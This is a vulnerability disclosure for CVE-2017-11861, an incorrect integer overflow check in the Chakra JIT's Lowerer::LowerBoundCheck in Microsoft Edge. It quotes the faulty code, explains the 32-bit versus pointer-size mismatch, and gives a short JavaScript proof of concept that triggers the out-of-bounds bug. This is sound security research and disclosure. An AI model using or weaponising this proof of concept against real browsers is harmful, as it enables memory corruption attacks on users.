Microsoft Edge Charka JIT Incorrect Check

Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck 

CVE-2017-11861


Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
    ...
    if(rightOpnd->IsIntConstOpnd())
    {
        IntConstType newOffset;
        if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
        {
            offset = newOffset;
            rightOpnd = nullptr;
            offsetOpnd = nullptr;
        }
    }
    ...
    if(!rightOpnd)
    {
        rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
    }
}

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.

PoC:
function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt